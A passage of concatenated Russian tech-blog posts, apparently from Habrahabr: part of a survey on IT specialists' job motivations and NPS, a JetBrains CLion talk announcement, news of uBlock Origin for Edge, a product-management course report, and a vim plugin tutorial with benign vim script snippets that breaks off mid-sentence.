на зарплаты, она должна уметь управлять этими факторами и доносить свои скрытые от посторонних глаз работные преимущества. Мы посмотрели на незарплатные факторы смены работы в целом по отрасли. Будет любопытно также посмотреть, насколько они одинаковы в зависимости от возраста или сферы деятельности специалиста. Ниже цветом выделены 4 возрастные группы. Высота каждой цветовой полосы показывает, сколько процентов людей данного возраста указали, что данный фактор мог бы их мотивировать сменить работу без увеличения зарплаты. Как видим, для молодых людей в студенческом возрасте более чем для других возрастных групп важна известность, размер компании и ценности компании , и менее других важны социальный пакет или близость от дома . Для самых взрослых, перешагнувших 40-летний рубеж, более других важна близость к дому и менее важны знакомые среди коллег, корпоративная жизнь, известность или величина компании . Для молодых людей от 20 до 30 лет, по сравнению с теми, кому от 30 до 40, чуть более важны знакомые среди коллег, корпоративная жизнь, известность и величина компании . Ниже цветом выделены отдельные специальности. Высота каждой цветовой полосы показывает, сколько процентов людей данной специальности указали, что данный фактор мог бы их мотивировать сменить работу без увеличения зарплаты. Видим, что для администраторов и тестировщиков, по сравнению с другими специалистами, ценности компании менее значимы, а для менеджеров и дизайнеров более значимы. Для тестировщиков близость работы от дома важней, чем другим специалистам, а дизайнерам — наоборот, это менее важно, чем другим. Для менеджеров график работы важней, чем другим специалистам, а интересность проекта , как ни странно, важна менее, чем другим. Для дизайнеров и менеджеров интересные технологи менее важны, чем другим специалистам, ну это и понятно, они не работают с кодом. Насколько компаниям удаётся доносить свои работные преимущества до своих потенциальных сотрудников? Чтобы это узнать, мы задали следующий вопрос. Оказалось, что для более чем 40% опрошенных их представления об условиях работы в текущей компании были хуже, чем они есть на самом деле. Это говорит о том, что очень и очень многие компании не доносят до соискателей своих преимуществ и выгодных качеств. Недавно, кстати, мы писали о том, как стоит доносить до ИТ-специалистов преимущества компании на примере оформления профиля компании на «Моём круге». Часть 2. Как друзья влияют на привлечение новых ИТ-специалистов в компанию Во второй части нашего исследования постараемся разобраться, как ИТ-специалисты узнают о своей будущей работе и какую роль играет «сарафанное радио» в этом процессе. Все мы знаем, что новые специалисты приходят в ИТ-компании в том числе по рекомендации своих друзей, уже работающих в компании. Для нас оказалось некоторой неожиданностью, насколько велик этот фактор. В среднем, чаще всего работу находят самостоятельно, откликаясь на размещённую вакансию — об этом сказал каждый третий. А вот на втором месте по частоте оказалась рекомендация друга — каждый четвёртый пришёл в текущую компанию таким способом. Каждого пятого находит рекрутер. Каждый двенадцатый изначально хотел работать в этой компании. Это в среднем. А если посмотреть, как вышеперечисленные факторы распределяются в зависимости от типа компании, то увидим, что рекомендация друга является главным каналом привлечения сотрудников в государственных компаниях и стартапах. А для небольших частных компаний этот фактор гораздо значимей, чем для крупных. Привод новых сотрудников с помощью их друзей, уже работающих в компании, не требует от компании прямых денежных расходов. В отличие от размещения вакансий или пользования услугами рекрутеров (как своих, так и внешних). Поэтому, очень важно понимать, при каких обстоятельствах этот канал будет работать. Этим пониманием и займёмся дальше. Для этого нам понадобится привлечь «Индекс лояльности NPS» (Net Promoter Score). Эта методика была впервые предложена в 2003 году, и с тех пор приобрела огромную популярность для принятия решений в области управления бизнесом, продуктом, маркетингом, персоналом. Вкратце, NPS считается так. Респонденту задаётся вопрос: «Насколько вероятно, что вы порекомендуете компанию X своим друзьям/знакомым»? И предлагается оценить эту вероятность цифрой от 0 (точно не порекомендую) до 10 (точно порекомендую). Дальше смотрим тех, кто указал 9 или 10, их называем «сторонники»: это те, кто наиболее вероятно будет рекомендовать друзьям. Кто указал 7 или 8, того называем «нейтралами»: это скорее всего пассивные люди, которые вообще ничего не будут делать. И наконец, тех, кто указал от 0 до 6, называем «критиками»: это те, кто вероятней не будут рекомендовать своим друзьям, а при низких оценках даже наоборот, будут отговаривать своих друзей. Далее, вычитаем процент «сторонников» из процента «критиков» и получаем искомый «индекс лояльности». Он может варьироваться от -100 ( одни «критики») до +100 (одни «сторонники»). Считается, что если он положительный, то возможен органический рост только за счёт лояльности. А если он очень большой, то рост возможен без дополнительной рекламы. И наоборот, при низких показателях возможно падение и сокращение. Узнать подробней о методе . Для начала посмотрим, как влияет тип компании и её известность на готовность звать своих друзей в сотрудники компании. Как видим, гораздо чаще готовы рекомендовать свою компанию как работодателя те, кто работает в крупной частной компании или стартапе, или в компании, которая известна во всей ИТ-отрасли. А меньше всего готовы рекомендовать те, кто работает в государственной компании, или в компании, которая никому неизвестна. NPS при этом получается следующим. Как видим, положительный NPS только у компаний, которые хорошо известны в ИТ-отрасли в целом, нулевой NPS у крупных частных компаний. А сильно отрицательный NPS у государственных компаний и мало кому известных компаний. А как влияет на готовность рекомендовать свою компанию продолжительность работы в этой компании или удалённость работы в ней? Видим, что с ростом стажа NPS в среднем падает — по другой диаграмме видно, что происходит это за увеличения доли «критиков» при той же доле «сторонников». Работающие в офисе чуть более лояльны к своей компании — среди них чуть меньше «критиков» и почти столько же «сторонников». До сих пор мы рассматривали скорее внешние факторы компании, влияющие на вероятность звать своих друзей в свою компанию. Эти факторы во многом непреодолимы или сложно преодолимы для компаний. Но наконец, мы добрались до самого интересного. А именно, до тех внутренних факторов, на которые компания может влиять управленческими методами, без увеличения денежных расходов. Мы выделили 6 таких факторов, но на самом деле их может быть гораздо больше. Мы попросили по шкале от 1 до 5 оценить, насколько тот или иной фактор удовлетворён у сотрудника. А затем пересекли эти ответы с их ответами о готовности рекомендовать компанию как работодателя своим друзьям. И вот, что у нас получилось. Оказывается, если удовлетворённость фактором средняя (более или менее), то NPS выходит отрицательным и колеблется между -30 и -50. А положительного NPS удаётся добиться только тем компаниям, которые более чем удовлетворяют своих сотрудников. Причём этот положительный индекс лояльности будет примерно одинаков, в районе 30, по всем факторам, но будет чуть ниже у фактора понимания связи своих задач с целями компании. Хуже всего на лояльности сказывается неуважительное отношение к профессиональному мнению сотрудника. По этому фактору NPS очень быстро может достигать -90! Следом по силе потенциального отрицательного воздействия идёт непонимание того, что продукт компании действительно нужен людям. Тут NPS быстро может упасть до -80. А вот неудовлетворённость зарплатой, как это ни странно, менее всего из всех факторов действует на лояльность разрушительно. И может достигать только отметки -60. Подведём итоги В этом небольшом исследовании мы показали, что помимо зарплаты существует ещё множество других факторов, которые влияют на то, что ИТ-специалисты выбирают работу в вашей компании. Причём некоторые из них могут влиять гораздо сильнее: прежде всего речь идёт о таких профессиональные факторах, как проект и технологии. Работа в более чем 40% компаний оказывается для сотрудника гораздо лучше, чем он изначально ожидал. Очень много компаний не доносят свои сильные стороны работодателя до будущих сотрудников. И высокая зарплата тут совершенно ни при чём. Одним из главных каналов по привлечению новых сотрудников служит рекомендация своих друзей теми, кто уже работает в компании. Этот канал не требует прямых денежных расходов, и потому компании должны уделять ему достаточно внимания, чтобы привлекать к себе хороших специалистов без того, чтобы делать зарплату выше, чем у других. Есть множество внутренних факторов, которые увеличивают вероятность того, что текущие сотрудники будут привлекать на работу своих друзей. На эти факторы компания может влиять опять же только за счёт внутренних организационных ресурсов. Все диаграммы подготовлены с помощью сервиса infogr.am .
https://habrahabr.ru/company/moikrug/blog/317448/
habrahabr
JetBrains Night в Москве. Видео. Как CLion справляется со сложностями языка C++
['С++', 'CLion', 'IDE', 'зависимости']
29 сентября в Москве прошла мини-конференция JetBrains Night: 7 часов разработчики из JetBrains рассказывали разработчикам из других компаний о том, что компания делает, зачем, и что будет делать...
29 сентября в Москве прошла мини-конференция JetBrains Night: 7 часов разработчики из JetBrains рассказывали разработчикам из других компаний о том, что компания делает, зачем, и что будет делать дальше, а потом отвечали на вопросы, обсуждали общие проблемы и вообще делились опытом (т.е. слушали, как разработчики из других компаний рассказывают им о том, что они делают и почему им удобно или пока еще не очень удобно делать это с помощью того, что делает JetBrains). На Хабре мы постепенно публикуем видео всех докладов, чтобы можно было в комментариях обсудить то, что не успели обсудить на JetBrains Night, особенно с теми, кто не смог приехать лично. Краткое содержание предыдущих серий: » Дмитрий Жемеров про язык Kotlin ; » Максим Мазин и Валерия Андрианова про интеграцию серверных продуктов и использование новых Agile-досок ; » Сергей Пак. Первые шаги с TeamCity DSL . Сегодня публикуем видео, где Дмитрий Кожевников рассказывает, как CLion справляется со сложностями языка C++ (и о том, какие задачи CLion, собственно, хорошо решает).
https://habrahabr.ru/company/JetBrains/blog/317456/
habrahabr
Расширение uBlock Origin вышло на Microsoft Edge
['uBlock Origin', 'Microsoft Edge', 'AdBlock', 'расширение', 'блокировка рекламы', 'лучший блокировщик']
Наконец-то к браузеру Microsoft Edge вышел самый эффективный блокировщик рекламы, который потребляет минимальное количество ресурсов процессора и памяти по сравнению с другими блокировщиками, а...
Наконец-то к браузеру Microsoft Edge вышел самый эффективный блокировщик рекламы, который потребляет минимальное количество ресурсов процессора и памяти по сравнению с другими блокировщиками, а также распространяется с открытым исходным кодом. Конечно, это знаменитый uBlock Origin Рэймонда Хилла. Работа над портированием uBlock Origin для Microsoft Edge идёт в репозитории uBlock-Edge на Github. 11 декабря 2016 года проект достиг такого уровня, что его автор Ник Роллс (Nik Rolls) решил выложить uBlock-Edge в официальном каталоге Windows Store расширений для браузера Edge . На эту минуту программа заработала 79 отзывов, средняя оценка составляет 4,5 звезды из 5 возможных: 72 из 79 отзывов поставлены с максимальной оценкой, а автор единственной минимальной оценки поставил 1 звезду по ошибке, судя по его восхищённому отзыву. Расширение доступно для операционной системы Windows 10 под архитектурой x86 или x64. Издатель — Ник Роллс, он же основной разработчик портированной версии и владелец репозитория на Github. Размер дистрибутива для установки расширения — 6,62 МБ. Сам Ник Роллс пишет , что «сумасшедшая идея» портировать uBlock Origin для браузера Microsoft Edge пришла к нему пять месяцев назад во время обеденного перерыва на работе. Как обычно, разработчики используют время отдыха от программирования для того, чтобы обдумать и обсудить с коллегами новые идеи разработки программного обеспечения. Тогда как раз недавно вышло обновление Windows 10 Anniversary Update, а с ним появилась поддержка расширений в Microsoft Edge. В то время для редмондского браузера уже были доступны Adblock и Adblock Plus, но каждому продвинутому пользователю, который внимательно относится к защите персональных данных, была очевидна нехватка в этом списке самого эффективного расширения uBlock Origin, которое по всем тестам превосходит другие расширения и уж тем более не имеет странного списка «разрешённой рекламы» , на котором зарабатывают деньги разработчики Adblock Plus. Ник Роллс сразу же подумал о том, что бы портировать uBlock Origin на новую платформу. И пусть операционной системой Windows 10 и браузером Edge пользуется не так много пользователей, и у браузера хватает технических странностей, например, он не умеет сохранять открытые файлы (если нет ссылки). Отдельные гики под Windows всё равно выбирают именно такой вариант, ведь Edge на голову превосходит по производительности Internet Explorer. В то же время Edge недоступен нигде, кроме Windows 10. В тот же день программист пришёл домой, сразу сделал копию исходного кода uBlock Origin — и начал программировать. Примерно через час парень к своему удивлению добился функциональности основного ядра uBlock Origin под Edge. Тогда он бросил клич на Windows Central о том, что работа идёт. Новость не прошла незамеченной: в среде Windows-программистов началось некоторое бурление, так что у Ника появился отличный стимул, чтобы закончить работу. В то время каталог расширений ещё не был открыт для всех желающих, но через несколько месяцев представители компании Microsoft связались с программистом насчёт подготовки финального релиза uBlock Origin. В дальнейшем он координировал свою работу с ними, получая свежую информацию об изменениях в кодовой базе Edge и новых фичах браузера, а также получая помощь в тех проблемах, с которыми не мог справиться самостоятельно. В конце концов, 11 декабря 2016 года наступил тот день, когда расширение uBlock Origin официально приняли в каталог Windows Store. uBlock Origin (Preview) for Edge Ник Роллс предупреждает, что работа ещё не закончена. Есть несколько проблем , которые можно обсудить в комментариях к репозиторию и помочь в их решении. Но в целом расширение работает довольно хорошо, несмотря на декларативный статус preview . Примерно 95% кода uBlock Origin для Edge — это оригинальный код, тот же, который работает в расширениях uBlock Origin для Chrome и Firefox. Изменения касаются только слоя интерфейса взаимодействия непосредственно с браузером. Если сравнить с версиями для Chrome и Firefox, то данное расширение ближе всего к версии для Chrome. Они очень похожи, потому что программисты Edge проделали большую работу, чтобы приблизить программные интерфейсы Edge к программным интерфейсам «эталонного браузера» Chrome. Так что теперь стало относительно легко портировать расширение Chrome для Edge . Работа над uBlock Origin продолжается, и Ник Роллс приглашает всех желающих присоединиться к ней. Учитывая небольшое количество расширений под Edge, выход такого нужного и полезного расширения можно только приветствовать. По функциональности версия для Edge почти не уступает оригинальной, разве что не хватает нескольких малозначительных функций. В принципе, корпорация Microsoft не так сильно зависит от рекламных доходов, как Google, поэтому для удобства пользователей вполне могла бы интегрировать uBlock Origin непосредственно в браузер Edge «из коробки». Это был бы единственный мейнстримовый браузер со встроенным блокировщиком рекламы, ведь Google вряд ли на такое не решится. Не решится и Mozilla, зарабатывающая на партнёрских программах с поисковыми системами, которые показывают рекламу в результатах поиска. Это практически единственный источник дохода Mozilla, так же как у Google.
https://geektimes.ru/post/283616/
habrahabr
Как стать продакт-менеджером (и перестать быть директором по продажам). Часть 3
['appodeal', 'product management', 'product', 'product development', 'продакт-менеджмент', 'разработка приложений', 'разработка продукта', 'развитие продукта', 'мобильные приложения']
В середине ноября наши друзья из Sports.ru запустили курс для тех, кто хочет стать продакт-менеджером мобильных приложений. Среди лекторов – сотрудники Sports.ru, AppFollow, Aviasales, Uber и...
В середине ноября наши друзья из Sports.ru запустили курс для тех, кто хочет стать продакт-менеджером мобильных приложений. Среди лекторов – сотрудники Sports.ru, AppFollow, Aviasales, Uber и другие классные ребята. Весь декабрь студент курса kirillkobelev рассказывает, как проходит обучение. Ниже репортаж с лекций 4 и 5, которые были посвящены болезненным вопросам для начинающего продакт-менеджера – монетизации и управлению командой. В этот раз, для разнообразия, – в жанре производственной драмы. Ранее в серии: Часть 1 – кто такие продакт-менеджеры и немного о дизайне. Часть 2 – об этапах разработки приложения. Акт 4, в котором почти полный тезка известного писателя отговаривает нас делать мобильное приложение —… на мобильной разработке я собаку съел. Марк Тен, CPO Sports.ru . Как я уже говорил, каждый из студентов курса работает над своим приложением — с разной степенью серьезности, но все же надеясь применить знания на практике. Думаю, выражу мнение большинства, сказав, что ожидал от главного идеолога курса Марка Тена какое-то напутствие во время его лекции про монетизацию. Первым делом Марк сказал: — Не думал, что все вы дотерпите до этой лекции ( отличное начало — прим. авт. ). Начну с простой мысли: «Если можете не делать апп, то не делайте». Спасибо, Марк. С таким напутствием можно бы и разойтись, но будем честны — иногда хорошему продукту действительно достаточно сайта. Мобильное приложение — это инструмент: подобно тому, как в 2010 году требования заказчиков сводились к «страничке на сайте», в 2015 все видели панацею в приложениях для мобильных платформ. В 2016 ситуация немного поменялась – сейчас находятся умники, которые предлагают «сэкономить» и «сделать гибридное приложение». Давайте на берегу договоримся: не надо делать гибридных приложений. Как это часто бывает, вместо объединения достоинств платформ и сайтов в гибриде кристаллизуются все возможные недостатки. Взаимодействие с ресурсами мобильных платформ еще не работает, гибкость сайта уже потеряна. Серьезно, в наши дни мобильный интернет достаточно дешевый и быстрый, чтобы обойтись классным сайтом с наворотами (нет, я не сказал «дешевый», я сказал «достаточно дешевый» :) Почему аборигены съели Кука? Задача мобильных сторов (App Store и Google Play) — аутсорс бизнеса. Список бизнес-функций, которые берут на себя платформы, впечатляет: Стандарты дизайна. Продуктовые команды в далекой Калифорнии все за нас придумали. Миллионы пользователей уже сделали выбор в пользу той или иной платформы, так что нам нужно просто ничего не испортить. Инфраструктура покупок. И в узком, и в широком смысле сторы нужны для снижения стоимости транзакции. Разработчики экономят кучу времени на обработке платежей в разных валютах, на трансграничных переводах, на улаживании юридических тонкостей. Нужно лишь поставить галочку напротив нужной страны. Безопасность. Хотя у Google с этим проблемы :) Все же, если не увлекаться локальными китайскими магазинами, большинство приложений вполне безопасны для пользователей. RnD (или, если вам больше нравится, НИОКР). И Google, и Apple вкладывают миллиарды собственных средств, чтобы создать новые фичи, мотивируя нас двигаться вперед, совершенствоваться, предлагать новые решения. Программно-аппаратная интеграция. Опять же за вычетом странных китайских сторов, платформы прикладывают значительные усилия, чтобы нативные приложения быстро и гладко работали на родном железе. Дистрибуция. Не зря же площадки называют marketplace — чем лучше условия для покупателей и продавцов, тем выгоднее всем участникам процесса. Интерлюдия, в которой все познается в сравнении Вы удивитесь, но за удовольствие не думать о многих аспектах бизнеса и сфокусироваться на разработке приходится платить, в прямом и переносном смысле. Вот несколько советов в копилку продакт-менеджеру мобильного приложения: Поддержка обеих платформ сразу — это удвоение ресурсов на разработку. А также затрат на дизайн. Приложение как продукт имеет дополнительный барьер для пользователя – его необходимо сначала скачать и установить. Привлечение новых пользователей в приложение в среднем дороже, чем по диджитал-рынку в целом. Как настоящие аборигены, мы все мы живем в карго-культе новой версии мобильных операционных систем. Каждое прилетевшее обновление сбрасывает на продакт-менеджера тонну новых требований, за несоответствие которым приложение обязательно заминусуют (а пользоваться новинками все равно никто не будет). Кульминация, в которой на сцену выходят новые герои Все знают поговорку про рыбу и динамику процессов разложения. Динамика эта такова, что пора бы уже задуматься, какие инструменты придут на смену мобильным приложениям. Вот они, герои нового времени: Instant apps. Приложения, которые запускаются в облаке и транслируются на мобильные устройства. Вот хорошая статья по этой теме на Tech Crunch. Новые поколения браузеров. Рост функционала браузеров поможет им частично вытеснить нативные приложения, но я с трудом верю, что будущее именно за этим форматом. Google Chrome не стал нормальной операционкой и нормальной заменой приложений тоже не станет. Мессенджеры и новые экосистемы. Только ленивый не говорит о том, что аудитория мессенджеров сравнялась (или вот-вот сравняется) с аудиторией соцсетей. Не спорю, пользователи тратят на общение уйму времени, но мессенджерам пока не хватает инфраструктуры. Контекстное взаимодействие или уберизация всего. Но при всей эффективности Uber-подхода, он органически ограничен довольно узким кругом сфер применения и подходит далеко не всегда. Антракт, в котором автор, виновато улыбаясь, продает рекламу Абсурдность отечественной реальности заключается в том, что наш потребитель одновременно хочет новых продуктов и фич и в то же время не хочет за них платить. Менеджеру, который хочет заработать и окупить создание продукта, придется выбрать один из трёх вариантов монетизации. Отличаются они только вкусом дегтя: Premium. Деготь со вкусом икры. Можно создать такое приложение, за которое сравнительно много и сравнительно регулярно будут платить, но это или профессиональный продукт, или мобильное приложение оффлайнового продукта. Free. Нужно оговориться, что бесплатных приложений не бывает; просто не всегда очевидно, кто за него платит. Платить может инвестор (приложение как часть большей бизнес-экосистемы), рекламодатель (промо-приложение) или спонсор (приложение-попутчик). Приложение также может быть бесплатным, но зарабатывать на рекламе. В таком случае вас ждет много кропотливой работы по выбору и взаимодействию с рекламной сетью ( минутка рекламы для Appodeal :). К тому же, рекламы не всегда достаточно, так что подумайте о диверсификации доходов. Freemium. По степени снижения отвращения встроенные покупки делятся на возобновляемые («нужно больше золота!») и одноразовые покупки, а также на возобновляемые и невозобновляемые подписки. В продолжение темы мобильной рекламы я должен отметить, что Марк совершил подвиг и в течение целого получаса рассказывал нам об автоматизированных таргетированных аудиторных закупках в режиме реального времени методом аукционов, не произнося Слова-На-Букву-Пэ* (спойлер: *Programmatic) . Он не произнёс, и я не буду – сходите на любую диджитал-конференцию, на них только и разговоров, что об этом. Между тем антракт подходит к концу, и поскольку рекламу нужно показывать на стыке пользовательских сценариев, скажу, что в следующем действии на сцену выйдет Антон Байцур из Aviasales . Акт 5, в котором Антон Байцур довольно внятно рассказывает, как управлять людьми, которые гораздо умнее нас Наверно, Антон имел в виду, что продакт-менеджер должен постоянно работать со специалистами, которые значительно превосходят его в сфере своей компетенции, но прозвучало это так, будто мы, ввязавшись в управление продуктом, поступили не слишком умно. Шутки в сторону. Самое время добавить несколько слов об управлении процессами и о проектной составляющей работы продакт-менеджера. Начнем с отсечения лишнего: Продакт-менеджер не должен самостоятельно заниматься разработкой, дизайном или маркетингом. Для этого в команде есть специально обученные люди (умнее нас). Продакт, вместе с тем, берет на себя всю полноту принятия бизнес-решений в рамках своего продукта (по крайней мере, в теории). В первой лекции уже звучала мысль о том, что продакт-менеджер выступает в роли мини-гендиректора, и его основная обязанность – целеполагание и создание эффективной среды для всей команды. Действительно, вам не обязательно знать тонкости разработки или проектирования интерфейсов, но правильно подбирать людей придется снова, и снова, и снова. Давайте остановимся на секунду и зафиксируем: единственный практический способ измерения успеха продакт-менеджера – это заработанные его продуктом деньги. Продакт-менеджер не может себе позволить не думать о деньгах . Сцена первая: продуктовая эквилибристика Поскольку основная работа продакт-менеджера заключается в коммуникации и в организации процесса, она часто выглядит как жонглирование горящими мячами (на леске, над пропастью, под прицелом пушки). Нельзя недооценивать способность к нахождению баланса. Этот аспект работы описывается термином product operations и включает в себя следующие элементы: Взаимодействие на 360 градусов. Как по горизонтали – со смежными функциями, так и по вертикали – с топ-менеджментом или инвесторами. У всех участников процесса постоянно возникают вопросы, и все эти вопросы стекаются к продакт-менеджеру. Аналитика и статистика. Продакт-менеджер должен всегда быть в курсе динамики основных метрик, в том числе потому, что именно так он получает возможность отвечать на вопросы из предыдущего пункта. И в одну из первых очередей на вопрос о том, как развивать продукт дальше. Управление выручкой (P&L, отчетность и капитализация). Два ключевых момента здесь – соотношение расходов и прибыли как индикатор финансовой эффективности продукта и капитализация, которая всегда непроста для ИТ-компаний. Капитализацией нужно заниматься сразу и всерьёз, чтобы иметь актуальную оценку стоимости компании. Планирование. Не только продуктовое на уровне roadmap и фич-листа, но и финансовое. В планировании важно выбрать горизонт так, чтобы он оптимально соответствовал операционной модели компании. Совет директоров не должен обсуждать каждый чих, но должен не терять связь с реальностью. SWOT. Частота и глубина проведения свот-анализа сильно зависит от зрелости продукта и подхода к анализу развития, принятого в команде. Однако хотя бы периодически нужно делать паузу и обращать внимание на свои сильные и слабые стороны. Вернемся к теме финансовой эффективности: помните, что положительный показатель EBIDTA, на который любят ссылаться, сам по себе недостаточно информативен. Гораздо важнее выбранная политика инвестирования: можно резать затраты и сидеть в плюсе ценой сжатия бизнеса, а можно инвестировать в развитие и сидеть в относительном минусе. Решать вам (и инвесторам), поэтому важно составить план и подход заранее. Продакт-менеджеру придется внимательно изучать кейсы других продуктов, потому что только из практики приходят варианты рыночной стратегии и тактики. Сцена вторая: product marketing Еще один важный аспект работы продакт-менеджера заключается в том, чтобы донести ценность его продукта до максимального количества людей. Стоит помнить, что маркетинг – это инструмент продаж. Да, в 21 веке уже можно переходить на маркетинг-центрическую модель, когда взаимодействие с потребителем и создание потребительской ценности ставится во главу угла всего, включая разработку. Из этого, конечно, следует, что и маркетологи должны брать на себя больше ответственности за прибыльность продукта. Также на стороне продакт-менеджера остаются базовые вещи вроде анализа рынка, отслеживания поведения конкурентов и ключевого мессаджинга, аналитики и запуска новых фич и продуктов. Сцена третья, заключительная: продукт умер, да здравствует продукт! Скажу банальную вещь, но продукты умирают так же, как и все остальное, в полном соответствии с жизненным циклом. Поэтому менеджеру нужно целенаправленно заниматься разработкой новых продуктов. Этот процесс так и называется – new product development. В основном, он состоит из следующих шагов: Генерация и отбор идей. Планирование и приоритезация. Формирование бизнес-требований. Составление технических требований. Техническая реализация. Управление т.н. «техническим долгом», то есть накопленной суммой необходимых доработок. Если разбивать этот процесс на функциональные составляющие, то получится такая картинка: Методология. Scrum, kanban, еще что-то, выберите удобный лично для вас вариант. Если речь не идет о крупной корпорации, планирование должно быть максимально оперативным, а для этого важно детально описывать и правильно декомпозировать задачи в работе. Правила. Правила описывают допущения и принятия, с которыми работает вся команда, и важно, чтобы вся команда их принимала. Например, правило приоритета может фиксировать, что в ходе итерации разработки не должны “влетать" никакие новые требования. Иными словами, задавая внутреннюю структуру, правила также создают и защитную оболочку для команды. Роли участников команды , например, продакт-менеджер, разработчик, дизайнер, маркетолог, биздев и т.д. Инструменты. Выберите свой набор инструментов вроде Jira, Wiki, Trello и прочее. Deus ex machina Спасибо всем, кто дочитал до этого места :). Кажется, пока это самый длинный лонгрид в серии. Мы с вами проделали половину пути, осталось три заметки, а на следующую лекцию, подобно античному богу из машины, к нам летит data scientist из Uber Олег Новиков, который расскажет об аналитике, машинном обучении и том, какой из всего этого прок.
https://habrahabr.ru/company/appodeal/blog/317460/
habrahabr
История одного плагина
['vim', 'finder', 'plugin', 'syntax']
Все началось с того, что у меня перестал работать tagbar. Плагин падал с ошибкой, якобы текущая моя версия Exuberant Ctags вовсе не Exuberant. Покопавшись немного в исходниках, я понял, что...
Все началось с того, что у меня перестал работать tagbar . Плагин падал с ошибкой, якобы текущая моя версия Exuberant Ctags вовсе не Exuberant. Покопавшись немного в исходниках, я понял, что последняя внешняя команда завершалась с ошибкой, а v:shell_error выдавал -1, что говорит о том, судя по документации vim'a, что "the command could not be executed". Я не стал копать дальше и установил fzf . Fzf , как и ctrlp , позволяет проводить нечеткий поиск по файлам, тегам, буферам, ..., но в отличии от последнего, работает гораздо шустрее, однако, не без минусов. Приложение работает напрямую с терминалом и каждый раз затирает мне историю вводимых команд. Это также означает, что мы не можем отобразить результаты поиска в буфере ( neovim , судя по некоторым скринкастам, может), например, справа от основного буфера, когда ищем нужный тег. В отличие от sublime, fzf не придает больший вес имени файла, из — за чего я часто получал в топе вовсе не те результаты, которые ожидал увидеть. Ко всему прочему, отсутствие полной свободы в настройке цветовой схемы, что в общем-то не слишком важно для обычного пользователя, но только не для меня, с моим повышенным вниманием к мелочам. Под свободой я понимаю, как минимум, разграничение цвета для обычного (нормального) текста и строки запроса. Всё это подтолкнуло меня к написанию своего плагина, внешний вид которого напоминает стандартный просмотрщик директорий — netrw . Я опишу проблемы, с которыми сталкивался, и пути их решения, полагая, что этот опыт может быть кому-то полезен. Vim script language Прежде всего хотел бы провести небольшую экскурсию для тех, кто делает первые шаги в vim script. Переменные имеют префиксы, некоторые из них вы уже видели и писали самостоятельно. Обычно настройка плагина происходит с помощью глобальных переменных с префиксом g: . При написании своего плагина уместно использовать префикс s: , который делает переменные доступными только в пределах скрипта. Чтобы обратиться к аргументу функции, используют префикс a: . Переменные без префикса локальны для функции, в которой они были объявлены. Полный перечень префиксов можно посмотреть командой :help internal-variables . Для управления буфера существуют две очень простых функции: getline и setline . С их помощью можно вставить результаты поиска в буфер или получить значение запроса. Я не буду останавливаться на описании каждой функции, поскольку из названия, зачастую, и так понятно, что она делает. Почти любое ключевое слово из этой статьи можно искать в документации, поэтому :help getline или :help setline , а для полной картины советую посмотреть :help function-list со списком всех функций, сгруппированных по разделам. События Vim предоставляет множество событий из коробки, однако, при написании собственного плагина, может возникнуть необходимость в создании своих собственных событий. К счастью, делается это очень просто. // слушаем событие CustomEvent autocmd User CustomEvent call ... // если подписчиков нет, можно получить "No matching autocommands", так что возбуждаем событие только при наличии слушателей if(exists("#User#CustomEvent")) doautocmd User CustomEvent endif Автозагрузка Всем функциям в моём плагине я задаю префикс finder# . Это встроенный механизм автозагрузки vim, который ищет в runtimepath нужный файл с таким же именем. Функция finder#call должна быть расположена в файле runtimepath/finder.vim, функция finder#files#index — в файле runtimepath/finder/files.vim. Затем, нужно добавить плагин в runtimepath . set runtimepath+=path/to/plugin Но лучше для этих целей использовать менеджер плагинов, например, vim-plug . Составные команды Часто возникает ситуация, когда команду нужно комбинировать из разных кусочков или просто вставить значение переменной. Для этих целей, в vim существует команда execute , которую часто удобно использовать с функцией printf . execute printf('syntax match finderPrompt /^\%%%il.\{%i\}/', b:queryLine, len(b:prompt)) Начнем Итак, всё, что нам нужно — это строка запроса и результат поиска. За пользовательский ввод в vim отвечает функция input , но, насколько мне известно, она не позволяет разместить строку ввода наверху, а это довольно важно, если речь идет о поиске по тегам, поскольку теги удобнее отображать в том порядке, в каком они представлены в файле. Более того, со временем я решил сделать похожую шапку, какую показывает netrw . Строку ввода нужно было реализовывать в буфере, тут и появляются первые трудности. Запрос Чтобы получить значение запроса, нам нужно знать строку, на которой находится поле ввода и смещение относительно подсказки, а также задать обработчик для события TextChangedI . Поскольку для любого, кто ранее программировал, не должно быть ничего сложного на данном этапе, код я опущу; добавлю лишь, что обработчик нужно вешать с атрибутом <buffer> . autocmd TextChangedI <buffer> call ... Prompt Поскольку подсказка находится на той же строке, что и пользовательский ввод, нужно каким-то образом зафиксировать её. Для этих целей можно было бы очистить значение опции backspace , которая отвечает за поведение таких клавиш, как <BS> и <Del>. В частности, меня интересовали только eol и start . Eol разрешает удаление символа конца строки и соответственно слияние строк, start же разрешает удаление только того текста, что был введен после начала режима вставки. Выходило достаточно удобно и просто: я вставляю подсказку "Files> ", например, затем начинаю вводить текст и при удалении текста, подсказка оставалась на месте. Я, правда, не учел один момент — для работы такого плагина нужно достаточно много логики и выход в нормальный режим был обыденной практикой. Любой маппинг мог запросто начать новую "сессию" и текст, что был введен ранее, переставал удаляться. Мне всего-лишь нужно было нажать <Esc>, например: inoremap <C-j> <Esc>:call ... Пришлось создать маппинг для <BS> и удалять текст вручную. inoremap <buffer><BS> <Esc>:call finder#backspace()<CR> Появилось какое-то странное мерцание курсора, которое со временем стало жутко раздражать. Прошло немало времени, прежде чем я понял, что виною тому — переход в режим ввода команд (command-line mode), который мы обычно инициируем, нажимая : . В этот самый момент курсор, что находится над текстом, исчезает. Эффект мерцания тем сильнее, чем "тяжелее" вызываемая функция. Были попытки повесить обработчик на событие TextChangedI , который проверял текущую позицию курсора, и если курсор находился в опасной близости от подсказки, то нужно было всего-лишь забиндить <BS> делать ничего. К сожалению, иногда 1 символ всё же удалялся. Спустя какое-то время было найдено решение — атрибут <expr> . map {lhs} {rhs} Где {rhs} — валидное выражение (:help expression-syntax), результат которого вставляется в буфер. Особые клавиши, такие как <BS> или <C-h> должны обрамляться двойными кавычками и экранироваться символом \ (:help expr-quote). inoremap <expr><buffer><BS> finder#canGoLeft() ? "\<BS>" : "" inoremap <expr><buffer><C-h> finder#canGoLeft() ? "\<BS>" : "" inoremap <expr><buffer><Del> col(".") == col("$") ? "" : "\<Del>" inoremap <expr><buffer><Left> finder#canGoLeft() ? "\<Left>" : "" Выход Для того чтобы выйти из буфера можно забиндить <Esc>. Неприятный момент состоит в том, что некоторые комбинации клавиш начинаются с той же последовательности символов, что и <Esc>. Если войти в режим ввода и нажать <C-v>, затем любую из стрелочек, то можно увидеть ^[ в качестве префикса. Например, для стрелки "влево" терминал посылает ^[OD vim'у. Поэтому, когда нажимается любая стрелка или 